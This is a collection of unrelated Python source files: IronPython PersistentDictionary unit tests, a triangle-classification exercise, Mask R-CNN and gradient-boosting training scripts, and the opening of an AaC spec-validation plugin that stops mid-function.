self.assertEqual(False, self._dict.ContainsKey('key'))
def testRemoveReturnsFalseWhenKeyNotPresent(self):
self.assertEqual(False, self._dict.Remove('key'))
def testCountIsZeroWhenDictionaryIsEmpty(self):
self.assertEqual(0, self._dict.Count)
def testCountIncreasesWithInsert(self):
self._dict['a'] = 'a'
self._dict['b'] = 'b'
self.assertEqual(2, self._dict.Count)
def testLenDecreasesWithDelete(self):
self._dict['a'] = 'a'
self._dict['b'] = 'b'
self._dict['c'] = 'c'
self._dict.Remove('b')
self.assertEqual(2, self._dict.Count)
def testClearOnEmptyDictionary(self):
self._dict.Clear()
self.assertEqual(0, self._dict.Count)
def testClearRemovesRecords(self):
self._dict['b'] = 'b'
self._dict['a'] = 'a'
self._dict.Clear()
self.assertEqual(0, self._dict.Count)
class DictionaryFixture(unittest.TestCase):
def setUp(self):
self._dataDirectory = 'DictionaryFixture'
self._deleteDataDirectory()
def tearDown(self):
self._deleteDataDirectory()
def _deleteDataDirectory(self):
deleteDirectory(self._dataDirectory)
def disposeCloseTwice(self):
dict = PersistentDictionary[System.Guid,System.Int64](self._dataDirectory)
dict.Dispose()
dict.Dispose()
def testMultipleDictionaries(self):
dict1 = PersistentDictionary[System.Int32,System.String](self._dataDirectory + '\\a')
dict2 = PersistentDictionary[System.String,System.Int32](self._dataDirectory + '\\b')
dict1[0] = 'hello'
dict2['world'] = 1
self.assertEqual('hello', dict1[0])
self.assertEqual(1, dict2['world'])
dict1.Dispose()
dict2.Dispose()
def testCloseAndReopenEmptyDictionary(self):
dict = PersistentDictionary[System.DateTime,System.UInt16](self._dataDirectory)
dict.Dispose()
dict = PersistentDictionary[System.DateTime,System.UInt16](self._dataDirectory)
self.assertEqual(0, dict.Count)
dict.Dispose()
class DictionaryComparisonFixture(unittest.TestCase):
def setUp(self):
self._dataDirectory = 'DictionaryComparisonFixture'
self._deleteDataDirectory()
self._createDictionary()
self._expected = Dictionary[System.String,System.String]()
def tearDown(self):
self._closeDictionary()
self._deleteDataDirectory()
def _createDictionary(self):
self._dict = PersistentDictionary[System.String,System.String](self._dataDirectory)
def _closeDictionary(self):
self._dict.Dispose()
def _deleteDataDirectory(self):
deleteDirectory(self._dataDirectory)
def _compareWithExpected(self):
self.assertEqual(self._expected.Count, self._dict.Count)
for k in self._expected.Keys:
self.assertEqual(self._expected[k], self._dict[k])
def _insert(self, k, v):
self._expected[k] = v
self._dict[k] = v
def _delete(self, k):
self._expected.Remove(k)
self._dict.Remove(k)
def _clear(self):
self._expected.Clear()
self._dict.Clear()
def testEmptyDb(self):
self._compareWithExpected()
def testClear(self):
for i in xrange(256):
self._insert(str(i), repr(i))
self._compareWithExpected()
self._clear()
self._compareWithExpected()
def testInserts(self):
self._insert('a', '1234')
self._insert('z', '0xF00D')
self._insert('mmmmmm', 'donuts')
self._insert('IronPython', 'rocks')
self._compareWithExpected()
def testReplaceDelete(self):
self._insert('0', '')
self._insert('1', '1111111111')
self._insert('2', '222222222')
self._insert('3', '33333333')
self._insert('4', '4444444')
self._insert('5', '555555')
self._insert('5', '555555')
self._insert('5', 'foo')
self._insert('2', 'bar')
self._delete('4')
self._compareWithExpected()
def testCloseAndOpen(self):
for i in xrange(16):
self._insert(str(i), '?' * i)
self._compareWithExpected()
self._closeDictionary()
self._createDictionary()
self._compareWithExpected()
def testKeyIsCaseInsensitive(self):
self._insert('aaa', 'foo')
self._insert('aAa', 'bar')
self._compareWithExpected()
def testKeyRespectsSpaces(self):
self._insert(' x', 'foo')
self._insert('x', 'bar')
self._insert('x ', 'baz')
self._compareWithExpected()
def testKeyRespectsSymbols(self):
self._insert('QQQ.', 'foo')
self._insert('QQQ', 'bar')
self._insert('-QQQ', 'baz')
self._compareWithExpected()
def testRandomOperations(self):
keys = 'abcdefghijklmompqrstuvwzyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
for i in xrange(12000):
k = random.choice(keys) * random.randint(1,2)
if random.random() < 0.005:
self._closeDictionary()
self._createDictionary()
elif random.random() < 0.01:
self._clear()
elif random.random() < 0.20:
if k in self._expected:
self._delete(k)
else:
self._compareWithExpected()
else:
v = random.choice('XYZ#@$%*.') * random.randint(0,1024)
self._insert(k,v)
self._compareWithExpected()
class MultiThreadingFixture(unittest.TestCase):
def setUp(self):
self._dataDirectory = 'MultiThreadingFixture'
self._deleteDataDirectory()
self._dict = PersistentDictionary[System.String,System.String](self._dataDirectory)
def tearDown(self):
self._dict.Dispose()
self._deleteDataDirectory()
def _deleteDataDirectory(self):
deleteDirectory(self._dataDirectory)
def _insertRange(self, low, high):
for i in xrange(low, high):
self._dict[str(i)] = str(i)
def _deleteRange(self, low, high):
for i in xrange(low, high):
self._dict.Remove(str(i))
def _retrieveAllRecords(self, n):
"""Check that key=value for all records and there are n records"""
self.assertEqual(n, self._dict.Count)
for i in self._dict:
self.assertEqual(i.Key, i.Value)
def _randomOperations(self):
keys = 'abcdefghijklmompqrstuvwzyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ-+'
for i in xrange(10000):
k = random.choice(keys) * random.randint(1,8)
if random.random() < 0.10:
self._dict.Remove(k)
else:
v = '#' * random.randint(256,1024)
self._dict[k] = v
def testMultiThreadedInserts(self):
threads = [threading.Thread(target = self._insertRange, args = (x*1000, (x+1) * 1000)) for x in range(4)]
for t in threads:
t.start()
d = {}
for i in xrange(4000):
d[str(i)] = str(i)
for t in threads:
t.join()
self.assertEqual(len(d), self._dict.Count)
for k in d.keys():
self.assertEqual(d[k], self._dict[k])
def testMultiThreadedReplaces(self):
for i in xrange(4000):
self._dict[str(i)] = 'XXXX'
threads = [threading.Thread(target = self._insertRange, args = (x*1000, (x+1) * 1000)) for x in range(4)]
for t in threads:
t.start()
d = {}
for i in xrange(4000):
d[str(i)] = str(i)
for t in threads:
t.join()
self.assertEqual(len(d), self._dict.Count)
for k in d.keys():
self.assertEqual(d[k], self._dict[k])
def testMultiThreadedRetrieves(self):
n = 4000
for i in xrange(n):
self._dict[str(i)] = str(i)
threads = [threading.Thread(target = self._retrieveAllRecords, args = (n,))]
for t in threads:
t.start()
for t in threads:
t.join()
def testMultiThreadedDeletes(self):
for i in xrange(4000):
self._dict[str(i)] = str(i)
threads = [threading.Thread(target = self._deleteRange, args = (x*1000, (x+1) * 1000)) for x in range(4)]
for t in threads:
t.start()
for t in threads:
t.join()
self.assertEqual(0, self._dict.Count)
def testRandomMultiThreadedOperations(self):
threads = [threading.Thread(target = self._randomOperations) for x in range(8)]
for t in threads:
t.start()
self._dict.Clear() # try a concurrent clear
for t in threads:
t.join()
class GenericDictionaryFixtureBase(unittest.TestCase):
def _deleteDataDirectory(self):
deleteDirectory(self._dataDirectory)
def _add(self, expected, actual, k, v):
"""Add (k,v). This fails if k already exists."""
actual.Add(k,v)
expected.Add(k,v)
def _set(self, expected, actual, k, v):
"""Set k = v."""
actual[k] = v
expected[k] = v
def _remove(self, expected, actual, k):
self.assertEqual(True, actual.Remove(k))
self.assertEqual(True, expected.Remove(k))
def _clear(self, expected, actual):
actual.Clear()
expected.Clear()
def _checkKeyIsNotPresent(self, dict, k):
self.assertEqual(False, dict.Keys.Contains(k))
self.assertEqual(False, dict.ContainsKey(k))
self.assertEqual(False, dict.TryGetValue(k)[0])
self.assertEqual(False, dict.Remove(k))
def _checkDuplicateKeyError(self, dict, k, v):
self.assertRaises(System.ArgumentException, dict.Add, k, v)
def _compareDictionaries(self, expected, actual):
self.assertEqual(expected.Count, actual.Count)
self.assertEqual(expected.Keys.Count, actual.Keys.Count)
self.assertEqual(expected.Values.Count, actual.Values.Count)
for i in expected:
self.assertEqual(True, actual.Contains(i))
self.assertEqual(True, actual.ContainsKey(i.Key))
self.assertEqual(True, actual.ContainsValue(i.Value))
self.assertEqual(True, actual.Keys.Contains(i.Key))
self.assertEqual(True, actual.Values.Contains(i.Value))
(f,v) = actual.TryGetValue(i.Key)
self.assertEqual(True, f)
self.assertEqual(i.Value, v)
self.assertEqual(i.Value, actual[i.Key])
for i in actual:
self.assertEqual(True, expected.ContainsKey(i.Key))
for k in actual.Keys:
self.assertEqual(True, expected.ContainsKey(k))
for v in actual.Values:
self.assertEqual(True, expected.Values.Contains(v))
def _doTest(self, expected, actual, keys, values):
# Compare empty
self._compareDictionaries(expected, actual)
# Insert with Add()
for k in keys:
v = random.choice(values)
self._add(expected, actual, k, v)
self._compareDictionaries(expected, actual)
# Replace with []
# Make sure to try setting every value
k = random.choice(keys)
for v in values:
self._set(expected, actual, k, v)
self._compareDictionaries(expected, actual)
# Delete key, reinsert with []
k = random.choice(keys)
v = random.choice(values)
self._checkDuplicateKeyError(actual, k, v)
self._remove(expected, actual, k)
self._checkKeyIsNotPresent(actual, k)
self._compareDictionaries(expected, actual)
self._set(expected, actual, k, v)
self._compareDictionaries(expected, actual)
# for i in actual:
# print '%s => %.32s' % (i.Key, i.Value)
# Clear
self._clear(expected, actual)
self._compareDictionaries(expected, actual)
def createDictAndTest(self, tkey, tvalue):
dict = PersistentDictionary[tkey,tvalue](self._dataDirectory)
try:
expected = Dictionary[tkey,tvalue]()
self._doTest(expected, dict, data[tkey], data[tvalue])
finally:
dict.Dispose()
class GenericDictionaryFixture(GenericDictionaryFixtureBase):
def setUp(self):
self._dataDirectory = 'GenericDictionaryFixture'
self._deleteDataDirectory()
self._dict = None
def tearDown(self):
self._deleteDataDirectory()
def createDictAndTest(self, tkey, tvalue):
dict = PersistentDictionary[tkey,tvalue](self._dataDirectory)
try:
expected = Dictionary[tkey,tvalue]()
self._doTest(expected, dict, data[tkey], data[tvalue])
finally:
dict.Dispose()
class SortedGenericDictionaryFixture(GenericDictionaryFixtureBase):
def setUp(self):
self._dataDirectory = 'SortedGenericDictionaryFixture'
self._deleteDataDirectory()
self._dict = None
def tearDown(self):
self._deleteDataDirectory()
def _compareDictionaries(self, expected, actual):
super(SortedGenericDictionaryFixture, self)._compareDictionaries(expected, actual)
for x,y in zip(expected.Keys, actual.Keys):
self.assertEqual(x, y)
def createDictAndTest(self, tkey, tvalue):
dict = PersistentDictionary[tkey,tvalue](self._dataDirectory)
try:
expected = SortedDictionary[tkey,tvalue]()
self._doTest(expected, dict, data[tkey], data[tvalue])
finally:
dict.Dispose()
class SortedGenericListFixture(SortedGenericDictionaryFixture):
def setUp(self):
self._dataDirectory = 'SortedGenericListFixture'
self._deleteDataDirectory()
self._dict = None
def tearDown(self):
self._deleteDataDirectory()
def createDictAndTest(self, tkey, tvalue):
dict = PersistentDictionary[tkey,tvalue](self._dataDirectory)
try:
expected = SortedList[tkey,tvalue]()
self._doTest(expected, dict, data[tkey], data[tvalue])
finally:
dict.Dispose()
keytypes = [
System.Boolean,
System.Byte,
System.Int16,
System.UInt16,
System.Int32,
System.UInt32,
System.Int64,
System.UInt64,
System.Single,
System.Double,
System.DateTime,
System.TimeSpan,
System.Guid,
System.String,
]
nullabletypes = [
System.Boolean,
System.Byte,
System.Int16,
System.UInt16,
System.Int32,
System.UInt32,
System.Int64,
System.UInt64,
System.Single,
System.Double,
System.DateTime,
System.TimeSpan,
System.Guid,
]
valuetypes = [
System.Boolean,
System.Byte,
System.Int16,
System.UInt16,
System.Int32,
System.UInt32,
System.Int64,
System.UInt64,
System.Single,
System.Double,
System.DateTime,
System.TimeSpan,
System.Guid,
System.String,
System.Decimal,
]
r = System.Random()
data = {}
data[System.Boolean] = [
True,
False]
data[System.Byte] = [
1,
2,
System.Byte.MinValue,
System.Byte.MaxValue,
r.Next(System.Byte.MinValue, System.Byte.MaxValue)]
data[System.Int16] = [
0,
1,
-1,
System.Int16.MinValue,
System.Int16.MaxValue,
r.Next(System.Int16.MinValue, System.Int16.MaxValue)]
data[System.UInt16] = [
1,
2,
System.UInt16.MinValue,
System.UInt16.MaxValue,
r.Next(System.UInt16.MinValue, System.UInt16.MaxValue)]
data[System.Int32] = [
0,
1,
-1,
System.Int32.MinValue,
System.Int32.MaxValue,
r.Next()]
data[System.UInt32] = [
1,
2,
System.UInt32.MinValue,
System.UInt32.MaxValue,
r.Next(0, System.Int32.MaxValue)]
data[System.Int64] = [
0,
1,
-1,
System.Int64.MinValue,
System.Int64.MaxValue,
r.Next()]
data[System.UInt64] = [
1,
2,
System.UInt64.MinValue,
System.UInt64.MaxValue,
r.Next(0, System.Int32.MaxValue)]
data[System.Single] = [
0,
1,
-1,
System.Single.MinValue,
System.Single.MaxValue,
r.Next()]
data[System.Double] = [
0,
1,
-1,
System.Math.PI,
System.Double.MinValue,
System.Double.MaxValue,
r.NextDouble()]
data[System.Decimal] = [
System.Decimal.MinValue,
System.Decimal.MaxValue,
System.Decimal.MinusOne,
System.Decimal.Zero,
System.Decimal.One,
System.Decimal(r.Next()),
System.Decimal(r.NextDouble())]
data[System.Guid] = [
System.Guid.Empty,
System.Guid.NewGuid()]
data[System.DateTime] = [
System.DateTime.MinValue,
System.DateTime.MaxValue,
System.DateTime.Now,
System.DateTime.UtcNow,
System.DateTime.Today]
data[System.TimeSpan] = [
System.TimeSpan.MinValue,
System.TimeSpan.MaxValue,
System.TimeSpan.FromDays(1),
System.TimeSpan.FromHours(1),
System.TimeSpan.FromMinutes(1),
System.TimeSpan.FromSeconds(1),
System.TimeSpan.FromMilliseconds(1),
System.TimeSpan.FromTicks(1),
System.TimeSpan(r.Next())]
data[System.String] = [
System.String.Empty,
'1',
'`',
'foo',
'bar',
'baz',
'space',
'space ',
'case',
'CASE',
'punctuation',
'punctuation!',
r.Next().ToString(),
r.NextDouble().ToString(),
System.Guid.NewGuid.ToString(),
System.DateTime.Now.ToString(),
'#'*65000]
# Use this to create a unique closure for tkey and tvalue
def makef(tkey, tvalue):
return lambda self : self.createDictAndTest(tkey, tvalue)
# Make nullable data, which is the non-nullable data + None
for t in nullabletypes:
data[System.Nullable[t]] = list(data[t])
data[System.Nullable[t]].append(None)
valuetypes.append(System.Nullable[t])
# Create the test functions
for tkey in keytypes:
for tvalue in valuetypes:
name = 'test%s%s' % (tkey, tvalue)
setattr(GenericDictionaryFixture, name, makef(tkey, tvalue))
setattr(SortedGenericDictionaryFixture, name, makef(tkey, tvalue))
setattr(SortedGenericListFixture, name, makef(tkey, tvalue))
if __name__ == '__main__':
unittest.main()
|
py | 1a4cc8139c7cfafabbdd2cf0580c0729787fb706 | from loader import dp
from .album_handler import AlbumMiddleware
if __name__ == "middlewares":
dp.middleware.setup(AlbumMiddleware()) |
py | 1a4cc89709d32ee497df72450b83a914ac98fdc1 | valores = input().split()
valores = list(map(float,valores))
A,B,C = sorted(valores)[::-1]
continua = True
if(A >= B+C):
print("NAO FORMA TRIANGULO")
continua = False
if(A**2 == (B**2) + (C**2) and continua):
print("TRIANGULO RETANGULO")
if(A**2 > (B**2) + (C**2) and continua):
print("TRIANGULO OBTUSANGULO")
if(A**2 < (B**2) + (C**2) and continua):
print("TRIANGULO ACUTANGULO")
if(A == B and B == C and continua):
print("TRIANGULO EQUILATERO")
if((A == B or B == C) and not (A == B and B == C) and continua):
print("TRIANGULO ISOSCELES")
|
py | 1a4cc90c9444665ad3b7aa04143ee9e5035968fa | from .meek_moe import *
from .post_stats_log import *
from .privacy_vote import *
from .var import *
|
py | 1a4ccbb7e92ba98c15b4f5ff7208c2ec67a48517 | # -*- coding: utf-8 -*-
"""
Created on Thu Nov 23 17:38:24 2017
@author: Phoebe
"""
import os
import time
import numpy as np
import pandas as pd
# Download and install the Python COCO tools from https://github.com/waleedka/coco
# That's a fork from the original https://github.com/pdollar/coco with a bug
# fix for Python 3.
# I submitted a pull request https://github.com/cocodataset/cocoapi/pull/50
# If the PR is merged then use the original repo.
# Note: Edit PythonAPI/Makefile and replace "python" with "python3".
#from pycocotools import mask as maskUtils
#%%
debugfile('ild.py', args='train --dataset=E:\lung_data --model=imagenet', wdir=r'C:\Users\Phoebe Chen\Desktop\CNNNNN\Mask_RCNN-master')
#%%
from config import Config
import utils
import model as modellib
ROOT_DIR = 'C:\\Users\\Phoebe Chen\\Desktop\\CNNNNN\\Mask_RCNN-master'
# Path to trained weights file
COCO_MODEL_PATH = os.path.join(ROOT_DIR, "mask_rcnn_coco.h5")
# Directory to save logs and model checkpoints, if not provided
# through the command line argument --logs
DEFAULT_LOGS_DIR = os.path.join(ROOT_DIR, "logs")
class InferenceConfig(ILDConfig):
# Set batch size to 1 since we'll be running inference on
# one image at a time. Batch size = GPU_COUNT * IMAGES_PER_GPU
GPU_COUNT = 1
IMAGES_PER_GPU = 1
config = InferenceConfig()
model = modellib.MaskRCNN(mode="training", config=config,
model_dir=DEFAULT_LOGS_DIR)
model_path='C:\\Users\\Phoebe Chen\\Desktop\\CNNNNN\\Mask_RCNN-master\\mask_rcnn_coco.h5'
model.load_weights(model_path, by_name=True)
#%%
dataset='E:\lung_data'
dataset_train = ILDDataset()
dataset_train.load_ILD(dataset, "train")
#dataset_train.prepare()
# Validation dataset
dataset_val = ILDDataset()
dataset_train.load_ILD(dataset, "val")
#dataset_val.prepare()
#%%
print("Training network heads")
model.train(dataset_train, dataset_val,
learning_rate=config.LEARNING_RATE,
epochs=40,
layers='heads') |
py | 1a4ccbfa7fce33ef60af5d9338ed1ab7425d6147 | # -*- coding: utf-8 -*-
"""
Created on Thu Jul 22 22:51:13 2021
@author: liujinli
"""
import pandas as pd
import numpy as np
from sklearn.metrics import mean_squared_error,r2_score
from lightgbm import LGBMRegressor
from xgboost import XGBRegressor
from sklearn.ensemble import RandomForestRegressor,AdaBoostRegressor
from matplotlib import pyplot as plt
from sklearn.linear_model import Lasso,Ridge,ElasticNet
from sklearn.svm import SVR
from tqdm import tqdm
import os
import random
import warnings
from mpl_toolkits.mplot3d import Axes3D
from sklearn.utils import shuffle
warnings.filterwarnings("ignore")
def seed_everything(seed=555):
random.seed(seed)
np.random.seed(seed)
os.environ['PYTHONHASHSEED'] = str(seed)
# torch.manual_seed(seed)
# torch.backends.cudnn.deterministic = True
seed_everything()
df = pd.read_csv('清洗_2018Spring.csv')
df = shuffle(df)
train_df = df[:-14]
valid_df = df[-14:]
# print(train_df)
# print(valid_df)
train_y = train_df.pop('TN')
train_x = train_df.values
valid_y = valid_df.pop('TN')
valid_x = valid_df.values
lgb = LGBMRegressor()
lgb.fit(train_x,train_y)
pred = lgb.predict(valid_x)
# print('score:', mean_squared_error(valid_y,pred))
# xgb = XGBRegressor()
# xgb.fit(train_x,train_y)
# pred = xgb.predict(valid_x)
# print('score:', mean_squared_error(valid_y,pred))
rf = RandomForestRegressor()
rf.fit(train_x,train_y)
pred = rf.predict(valid_x)
# print('score:', mean_squared_error(valid_y,pred))
f, ax = plt.subplots(figsize=(7, 5))
ax.bar(range(len(rf.feature_importances_)),rf.feature_importances_)
ax.set_title("Feature Importances")
f.show()
# print(len(train_df.columns))
# print(len(rf.feature_importances_))
df_show = pd.DataFrame({'f_name':train_df.columns,'importance':rf.feature_importances_})
# print(df_show.sort_values('importance',ascending=False))
df_show = df_show.sort_values('importance',ascending=False)['f_name'].values
best_mse = 100
best_fnum = 4
plt.show()
plt.close()
df_show = pd.DataFrame({'f_name':train_df.columns,'importance':rf.feature_importances_})
# print(df_show.sort_values('importance',ascending=False))
df_show = df_show.sort_values('importance',ascending=True)
plt.show()
f, ax = plt.subplots(figsize=(15, 20))
print(df_show['importance'].values)
ax.barh(df_show['f_name'],df_show['importance'].values)
ax.set_title("Feature Importances")
f.show()
plt.show()
df_show = df_show.sort_values('importance',ascending=False)['f_name'].values
mse=[];r2=[]
for i in range(4,60):
choose_feature = df_show[:i]
train_x = train_df[choose_feature].values
valid_x = valid_df[choose_feature].values
lgb = LGBMRegressor()
lgb.fit(train_x,train_y)
lgb_pred = lgb.predict(valid_x)
# rf = RandomForestRegressor()
# rf = ElasticNet()
# rf.fit(train_x,train_y)
# rf_pred = rf.predict(valid_x)
pred = lgb_pred
mse.append( mean_squared_error(valid_y,pred))
r2.append(r2_score(valid_y,pred))
# print(f'n_num:{i},score:{mse}')
if(best_mse > mean_squared_error(valid_y,pred)):
best_mse = mean_squared_error(valid_y,pred)
best_fnum = i
print(f'best f_num:{best_fnum}, best mse:{best_mse}')
plt.plot(range(4,60), mse)
plt.title('feature performance')
plt.xlabel('feature number')
plt.ylabel('mse')
plt.show()
plt.close()
plt.plot(range(4,60), r2)
plt.title('feature performance')
plt.xlabel('feature number')
plt.ylabel('r2')
plt.show()
plt.close()
choose_feature = df_show[:best_fnum]
train_x = train_df[choose_feature].values
valid_x = valid_df[choose_feature].values
#min_child_samples=10,reg_alpha=0.03,reg_lambda=0
alpha=[];lamda=[];mse_loss=[];r2_loss=[]
for i in [0, 0.001, 0.01, 0.03, 0.08, 0.3, 0.5]:
for j in [0, 0.001, 0.01, 0.03, 0.08, 0.3, 0.5]:
lgb = LGBMRegressor(min_child_samples=10,reg_alpha=i,reg_lambda=j)
lgb.fit(train_x,train_y)
alpha.append(i)
lamda.append(j)
pred = lgb.predict(valid_x)
# model = AdaBoostRegressor(lgb,n_estimators=i)
# model.fit(train_x,train_y)
# pred = model.predict(valid_x)
mse = mean_squared_error(valid_y,pred)
mse_loss.append(mse)
r2 = r2_score(valid_y,pred)
r2_loss.append(r2)
#print(f'min_child_samples:{i},min_child_weights:{j},mse_score:{mse},r2_score:{r2}')
# print(df_show)
param_grid =[
{'max_depth':range(3,12),
'min_child_weight':range(4,32,4),
'reg_alpha':[x/100 for x in range(1,51,2)],
'reg_lambda':[x/100 for x in range(1,51,2)],
}
]
model = LGBMRegressor()
from sklearn.model_selection import GridSearchCV
print('grid search begin')
grid_search = GridSearchCV(model,param_grid,scoring='neg_mean_squared_error')
grid_search.fit(train_x,train_y)
print(f'best score:{grid_search.best_score_},best param:{grid_search.best_params_}')
def get_pic(model_name,show_name):
print(f'---------------{model_name} best params is searching-------------')
if(model_name=='lgb'):
u = [x/100 for x in range(1,51)]
v = [x/100 for x in range(1,51)]
elif(model_name == 'lasso'):
u = [x/100 for x in range(1,51)]
v = [x/1000000 for x in range(1,51)]
elif(model_name=='svr'):
u = [x for x in range(1,51)]
v = [x/100000 for x in range(1,51)]
elif(model_name=='xgboost'):
u = [x/100 for x in range(1,51)]
v = [x/100 for x in range(1,51)]
u, v = np.meshgrid(u, v)
print(u.shape,v.shape)
best_mse_i, best_mse_j, best_mse, best_r2 = 0, 0, 1000, 0
z = np.zeros_like(u)
z2=np.zeros_like(u)
print(z.shape)
for i in tqdm(range(len(u))):
for j in range(len(u[i])):
if(model_name=='lgb'):
model = LGBMRegressor(min_child_samples=10,reg_alpha=u[i][j],reg_lambda=v[i][j])
elif(model_name=='lasso'):
model = Lasso(alpha=u[i][j],tol=v[i][j])
elif(model_name =='svr'):
model = SVR(C=u[i][j],tol=v[i][j])
elif(model_name=='xgboost'):
model=XGBRegressor(max_depth=2,min_child_weight=28,reg_alpha=u[i][j],reg_lambda=v[i][j])
model.fit(train_x,train_y)
pred = model.predict(valid_x)
# model = AdaBoostRegressor(lgb,n_estimators=i)
# model.fit(train_x,train_y)
# pred = model.predict(valid_x)
mse = mean_squared_error(valid_y,pred)
r2=r2_score(valid_y,pred)
z[i][j] = mse
z2[i][j]=r2
if(best_mse > mse):
best_mse = mse
best_mse_i = i
best_mse_j = j
best_r2 = r2
print('---------------------------------------')
# plt.figure()
# ax = Axes3D(fig)
plt.ion()
fig = plt.figure(figsize=(10,8))
ax = fig.add_subplot(111, projection='3d')
ax.set_title(model_name)
if(model_name=='lgb'):
ax.set_xlabel('alpha')
ax.set_ylabel('lambda')
print(f'reg_alpha={u[best_mse_i][best_mse_j]},reg_lambda={v[best_mse_i][best_mse_j]},best mse:{best_mse},best r2:{best_r2}')
elif(model_name=='lasso'):
ax.set_xlabel('alpha')
ax.set_ylabel('tol')
print(f'alpha={u[best_mse_i][best_mse_j]},tol={v[best_mse_i][best_mse_j]},best mse:{best_mse},best r2:{best_r2}')
elif(model_name =='svr'):
ax.set_xlabel('C')
ax.set_ylabel('tol')
print(f'C={u[best_mse_i][best_mse_j]},tol={v[best_mse_i][best_mse_j]},best mse:{best_mse},best r2:{best_r2}')
elif(model_name =='xgboost'):
ax.set_xlabel('reg_alpha')
ax.set_ylabel('reg_lambda')
print(f'reg_alpha={u[best_mse_i][best_mse_j]},reg_lambda={v[best_mse_i][best_mse_j]},best mse:{best_mse},best r2:{best_r2}')
if(show_name == 'mse'):
ax.set_zlabel('mse')
surf=ax.plot_surface(u, v, z, cmap='jet')
fig.colorbar(surf, shrink=0.4, aspect=6)
plt.show()
else:
ax.set_zlabel('r2')
surf=ax.plot_surface(u, v, z2, cmap='jet')
fig.colorbar(surf, shrink=0.4, aspect=6)
plt.show()
# ax.close()
ax.cla()
plt.cla()
plt.close('all')
get_pic('lgb','mse')
get_pic('lasso','mse')
get_pic('xgboost','mse')
get_pic('svr','mse')
get_pic('lgb','r2')
get_pic('lasso','r2')
get_pic('xgboost','r2')
get_pic('svr','r2')
z=[];z2=[]
def get_2dpic(model_name,show_name):
plt.title(model_name)
z=[];z2=[]
if(model_name=='lgb'):
u = [x/100 for x in range(1,51)]
v = [x/100 for x in range(1,51)]
elif(model_name == 'lasso'):
u = [x/100 for x in range(1,51)]
v = [x/1000000 for x in range(1,51)]
elif(model_name=='svr'):
u = [x for x in range(1,51)]
v = [x/100000 for x in range(1,51)]
elif(model_name=='xgboost'):
u = [x/100 for x in range(1,51)]
v = [x/100 for x in range(1,51)]
best_mse_i, best_mse_j, best_mse, best_r2 = 0, 0, 1000, 0
if show_name=='mse':
plt.ylabel('mse')
for i in u:
if(model_name=='lgb'):
model = LGBMRegressor(min_child_samples=10,reg_alpha=i)
plt.xlabel('reg_alpha')
elif(model_name=='lasso'):
model = Lasso(alpha=i)
plt.xlabel('alpha')
elif(model_name =='svr'):
model = SVR(C=i)
plt.xlabel('c')
elif(model_name=='xgboost'):
plt.xlabel('reg_alpha')
model=XGBRegressor(max_depth=2,min_child_weight=28,reg_alpha=i)
model.fit(train_x,train_y)
pred = model.predict(valid_x)
mse = mean_squared_error(valid_y,pred)
r2=r2_score(valid_y,pred)
z.append(mse)
z2.append(r2)
plt.plot(u,z)
min_indx=np.argmin(z)
plt.plot(u[min_indx],z[min_indx],'ks')
show_max='['+str(np.round((u[min_indx]),2))+' '+str(np.round((z[min_indx]),3))+']'
plt.annotate(show_max,xytext=(u[min_indx],z[min_indx]),xy=(u[min_indx],z[min_indx]))
plt.show()
plt.close()
elif show_name=='r2':
plt.ylabel('r2')
for j in v:
if(model_name=='lgb'):
model = LGBMRegressor(min_child_samples=10,reg_lambda=j)
plt.xlabel('reg_lambda')
elif(model_name=='lasso'):
model = Lasso(tol=j)
plt.xlabel('tol')
elif(model_name =='svr'):
model = SVR(tol=j)
plt.xlabel('tol')
elif(model_name=='xgboost'):
model=XGBRegressor(max_depth=2,min_child_weight=28,reg_lambda=j)
plt.xlabel('reg_lambda')
model.fit(train_x,train_y)
pred = model.predict(valid_x)
mse = mean_squared_error(valid_y,pred)
r2=r2_score(valid_y,pred)
z.append( mse)
z2.append(r2)
plt.plot(v,z2)
max_indx=np.argmax(z2)
plt.plot(v[max_indx],z2[max_indx],'ks')
show_max='['+str(np.round(v[max_indx],2))+' '+str(np.round(z2[max_indx],3))+']'
plt.annotate(show_max,xytext=(v[max_indx],z2[max_indx]),xy=(v[max_indx],z2[max_indx]))
plt.show()
plt.close()
get_2dpic('lgb','mse')
get_2dpic('lasso','mse')
get_2dpic('xgboost','mse')
get_2dpic('svr','mse')
get_2dpic('lgb','r2')
get_2dpic('lasso','r2')
get_2dpic('xgboost','r2')
get_2dpic('svr','r2')
# plt.figure()
# ax = Axes3D(fig)
# ax.plot_surface(u,v,z2,cmap='jet')
# plt.show()
model = LGBMRegressor(min_child_samples=10)
model.fit(train_x,train_y)
def get_pred(model,test_df):
test_x = test_df[choose_feature].values
test_pred = model.predict(test_x)
return test_pred
test_df = pd.read_csv('201809.csv')
get_pred(model,test_df) |
py | 1a4cccc1417191aed57c8b022a09dfbc3edce57a | """AaC Plugin implementation module for the aac-spec plugin."""
# NOTE: It is safe to edit this file.
# This file is only initially generated by the aac gen-plugin, and it won't be overwritten if the file already exists.
from aac import parser, util
from aac.plugins import PluginError
from aac.plugins.plugin_execution import PluginExecutionResult, plugin_result
from aac.validator import validation
plugin_name = "specification"
def spec_validate(architecture_file: str) -> PluginExecutionResult:
"""
Validate spec traces within the AaC model.
Args:
architecture_file (str): The file to validate for spec cross-references.
"""
def validate():
with validation(parser.parse_file, architecture_file) as result:
is_valid, validation_errors = _run_spec_validation(result.model)
if is_valid:
return f"Spec in {architecture_file} is valid"
errors = "\n".join(validation_errors)
raise SpecValidationError(f"Spec in {architecture_file} is invalid:\n{errors}")
with plugin_result(plugin_name, validate) as result:
return result
def _run_spec_validation(parsed_model: dict):
is_valid = True
validation_errors = []
# go through the parsed model to find requirement references
requirement_refs = {}
for model_name in parsed_model:
refs = []
refs.extend(
util.search(parsed_model[model_name], ["spec", "requirements", "parent", "ids"])
)
refs.extend(
util.search(parsed_model[model_name], ["model", "behavior", "requirements", "ids"])
)
refs.extend(util.search(parsed_model[model_name], ["data", "requirements", "ids"]))
if refs:
requirement_refs[model_name] = refs
specs = util.get_models_by_type(parsed_model, "spec")
requirements_by_id = _collect_ids_from_specs(specs)
# ensure all req_refs are present in the referenced location
for model_name, id_references in requirement_refs.items():
# Check the refs exists
defined_requirement_ids = list(requirements_by_id.keys())
for requirement_id in id_references:
if requirement_id not in defined_requirement_ids:
is_valid = False
validation_errors.append(
f"Invalid requirement id '{requirement_id}' reference in '{model_name}': {defined_requirement_ids}"
)
return is_valid, validation_errors
def _collect_ids_from_specs(specs: list[dict]) -> dict:
"""Return all ids and their definitions as a key-value pair with the id being the key."""
requirements_by_id = {}
for spec in specs.values():
spec_definition = spec.get("spec")
